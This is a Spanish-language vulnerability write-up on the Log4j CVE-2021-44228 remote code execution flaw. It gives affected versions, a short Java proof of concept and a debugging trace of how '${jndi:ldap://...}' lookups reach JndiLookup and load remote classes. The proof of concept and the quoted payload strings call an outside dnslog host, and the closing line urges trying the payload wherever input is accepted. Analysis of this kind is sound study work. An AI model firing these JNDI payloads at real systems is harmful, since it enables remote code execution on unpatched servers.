
Análisis detallado y prueba de concepto para CVE-2021-44228 (Log4j RCE), incluyendo configuración del entorno, análisis de vulnerabilidad, mecanismo de inyección JNDI y pasos de reproducción.
Jdk7u21(cualquier versión sirve)
Versiones afectadas: Apache Log4j 2.x <= 2.14.1
Aplicaciones y componentes afectados conocidos:
Apache Solr
Apache Flink
Apache Druid
srping-boot-strater-log4j2
Coordenadas de log4j
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.11.1</version>
</dependency>
Poc
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class test2 {
private static Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
LOGGER.error("${jndi:ldap://ewa04i.dnslog.cn/}");
}
}
Al ver el payload, es natural buscar log4j lookup o log4j jndi
https://logging.apache.org/log4j/2.x/manual/lookups.html【documentación en inglés】
https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html【documentación en chino】

Podemos ver el método de uso, es fácil notar que esto soporta jndi, y jndi a su vez soporta otros protocolos, realizando conversiones, es fácil pensar en ldap; vamos a depurar para ver. Como anoche estuve depurando hasta las 5:30, y tenía clases por la mañana, me fui a dormir, solo guardé capturas del proceso de análisis.

Sin más preámbulos, sigamos; como anoche depuré varias veces, aquí voy directo al punto clave.

Directo al punto clave: org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

org.apache.logging.log4j.core.pattern.PatternFormatter#format

Seguimos para ver este método; en Java nativo este método formatea cadenas, no sabemos si aquí es igual.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

Aquí mediante getMessage() se obtiene nuestro payload, ¿por qué?


No seguimos redundando; continuemos.
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format
Se puede ver que aquí se detecta si comienza con ${, si es así, se ejecuta, desencadenando el punto de vulnerabilidad.



La documentación de este método se puede ver aquí https://logging.apache.org/log4j/2.x/log4j-core/apidocs/org/apache/logging/log4j/core/lookup/StrSubstitutor.html





Parece que con ver la documentación es suficiente, aquí se obtiene el resolvedor de variables.



Luego entra a org.apache.logging.log4j.core.lookup.Interpolator#lookup

Obtiene el prefijo correspondiente, selecciona el objeto de clase jndi correspondiente - JndiLookup


Realizando así una inyección jndi, logrando la carga remota de clases.


Revisando la documentación oficial, básicamente es mediante formato, reemplazando ${jndi:ldap://uci5xf.dnslog.cn/test} por datos reales;

Artículo de referencia: https://blog.csdn.net/lqzkcx3/article/details/82050375 log4j utiliza lookup para obtener un protocolo, obteniendo que el protocolo es jndi, data, sys, etc. Y se almacena en forma de mapa; detecta la key correspondiente, obtiene el lookup correspondiente y lo ejecuta. Formando una vulnerabilidad de inyección jndi estándar.
Desde el punto de entrada, no es difícil notar que mientras sea registrado en los logs, se puede ejecutar (aunque algunos no) porque está escrito temporalmente, no profundizamos.
La forma de atacarlo es: probar en todos los lugares donde haya interacción, ja ja ja.